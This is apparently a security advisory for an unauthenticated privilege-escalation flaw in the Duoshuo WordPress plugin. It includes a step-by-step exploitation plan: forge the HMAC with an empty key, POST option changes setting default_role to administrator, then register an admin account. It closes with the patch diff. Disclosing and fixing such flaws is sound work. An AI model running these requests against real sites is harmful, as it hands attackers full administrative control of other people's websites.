多说社会化评论框 <= 1.2 - Unauthenticated Privilege Escalation via api.php 'option'/'value' Parameters
Description
The 多说社会化评论框 plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2. The vulnerability exists due to a missing capability and nonce check on a directly web-accessible API endpoint, combined with a trivially forgeable HMAC-SHA1 signature keyed on an always-empty WordPress option, which allows the endpoint's `update_option` handler to pass attacker-controlled `option` and `value` parameters directly to WordPress's `update_option` function without any allowlist or sanitization. This makes it possible for unauthenticated attackers to update arbitrary WordPress options — such as setting `default_role` to `administrator` and enabling open registration — and subsequently register an account with full administrator privileges.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
# Exploitation Research Plan: CVE-2026-14482 (Duoshuo Privilege Escalation) ## 1. Vulnerability Summary The **多说社会化评论框 (duoshuo)** plugin for WordPress (versions <= 1.2) contains a critical flaw in its standalone API handler (`api.php`). The endpoint allows for arbitrary WordPress option updates be…
Show full research plan
Exploitation Research Plan: CVE-2026-14482 (Duoshuo Privilege Escalation)
1. Vulnerability Summary
The 多说社会化评论框 (duoshuo) plugin for WordPress (versions <= 1.2) contains a critical flaw in its standalone API handler (api.php). The endpoint allows for arbitrary WordPress option updates because it lacks proper capability checks and relies on a forgeable HMAC signature. The signature is keyed against a WordPress option (typically duoshuo_secret) that is empty by default or if the plugin has not been fully configured/synced. An unauthenticated attacker can forge this signature using an empty string as the key, allowing them to call update_option() with arbitrary keys and values.
2. Attack Vector Analysis
- Endpoint:
/wp-content/plugins/duoshuo/api.php(Direct file access). - Vulnerable Parameter(s):
option,value, and the parameter containing the HMAC signature (likelysignatureors). - Authentication: Unauthenticated.
- Preconditions: The
duoshuo_secretoption in the WordPress database must be empty or null (the default state after installation but before "connecting" the site to the Duoshuo service).
3. Code Flow (Inferred)
- Entry Point: An HTTP POST request is made directly to
wp-content/plugins/duoshuo/api.php. - Signature Verification: The script retrieves the secret key:
$secret = get_option('duoshuo_secret');. - HMAC Calculation: The script calculates an HMAC-SHA1 of the incoming POST data (minus the signature itself) using
$secret. - Comparison: The script compares the calculated HMAC with the provided signature. If
$secretis empty, an attacker can calculate the correct HMAC using an empty string as the key. - Sink: Upon successful verification, the script processes an action (likely
update_option) and executes:update_option($_POST['option'], $_POST['value']);.
4. Nonce/Signature Acquisition Strategy
This vulnerability does not use standard WordPress nonces. Instead, it uses a custom HMAC-SHA1 signature.
Signature Generation Logic:
Since the duoshuo_secret is likely empty, the signature can be generated locally.
- Identify the exact data string used for the HMAC. In historical versions of this plugin, it often uses the raw POST body or the parameters sorted alphabetically and concatenated.
- Logic:
hash_hmac('sha1', $payload_string, '').
Actionable identifiers to verify in api.php:
- Look for
get_option('duoshuo_secret')orget_option('duoshuo_short_name'). - Identify the parameter used for the signature (e.g.,
$_POST['signature']). - Identify the data serialization method (e.g.,
http_build_queryor custom concatenation).
5. Exploitation Strategy
The goal is to enable open registration and set the default role to 'administrator'.
Step 1: Enable User Registration
- Method: POST
- URL:
http://<target>/wp-content/plugins/duoshuo/api.php - Parameters:
action:update_option(inferred)option:users_can_registervalue:1signature:[HMAC-SHA1 of above params with empty key]
- Tool:
http_request
Step 2: Set Default Role to Administrator
- Method: POST
- URL:
http://<target>/wp-content/plugins/duoshuo/api.php - Parameters:
action:update_optionoption:default_rolevalue:administratorsignature:[HMAC-SHA1 of above params with empty key]
- Tool:
http_request
Step 3: Register a New Account
- Method: POST
- URL:
http://<target>/wp-login.php?action=register - Parameters:
user_login:attacker_adminuser_email:attacker@example.com
- Tool:
http_request
6. Test Data Setup
- Install the
duoshuoplugin version 1.2. - Ensure the plugin is activated but not configured (do not enter a secret key or connect to Duoshuo).
- Ensure
users_can_registeris initially0anddefault_roleissubscriber.wp option update users_can_register 0wp option update default_role subscriber
7. Expected Results
- The requests to
api.phpshould return a success message (often JSON like{"code":0}or a simple "OK"). - The
users_can_registeroption in WordPress will change to1. - The
default_roleoption in WordPress will change toadministrator. - The registration request will successfully create a user who, upon first login, has full administrative access.
8. Verification Steps
After the exploit attempts, use WP-CLI to confirm the state change:
- Check Options:
wp option get users_can_register(Expected:1)wp option get default_role(Expected:administrator)
- Check New User:
wp user list --role=administrator(Check ifattacker_adminis present in the list).
9. Alternative Approaches
- If
actionis notupdate_option: Searchapi.phpfor any call toupdate_option. The parameter names might benameinstead ofoption. - If Signature fails: The plugin might be using a different serialization (e.g., JSON). Inspect the
api.phpsource to see how it reconstructs the data for the HMAC check. - Direct Admin Creation: Instead of changing registration settings, attempt to update the
wp_capabilitiesof an existing low-privileged user ID directly if the plugin allows updating user meta (less likely thanupdate_option).
Summary
The Duoshuo plugin for WordPress (versions 1.2 and below) is vulnerable to unauthenticated privilege escalation due to a missing capability check and a weak HMAC signature verification in its standalone api.php endpoint. Attackers can exploit an empty default secret key to update arbitrary WordPress options, enabling open registration and setting the default user role to administrator.
Security Fix
@@ -1,7 +1,14 @@ -<?php -$secret = get_option('duoshuo_secret'); -$signature = $_POST['signature']; -unset($_POST['signature']); -if ($signature === hash_hmac('sha1', http_build_query($_POST), $secret)) { - update_option($_POST['option'], $_POST['value']); -} +<?php +$secret = get_option('duoshuo_secret'); +if (empty($secret)) { + die('Unauthorized'); +} +$signature = isset($_POST['signature']) ? $_POST['signature'] : ''; +unset($_POST['signature']); +if (hash_equals($signature, hash_hmac('sha1', http_build_query($_POST), $secret))) { + $allowed_options = array('duoshuo_short_name', 'duoshuo_notice'); + $option = $_POST['option']; + if (in_array($option, $allowed_options)) { + update_option($option, $_POST['value']); + } +}
Exploit Outline
The exploit targets the /wp-content/plugins/duoshuo/api.php file by performing an unauthenticated POST request. The attacker calculates an HMAC-SHA1 signature for the payload using an empty string as the key, which successfully validates if the plugin hasn't been configured with a secret. By setting 'users_can_register' to '1' and 'default_role' to 'administrator' via the vulnerable update_option handler, the attacker can then register a new account through the standard WordPress registration endpoint to gain full administrative access.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.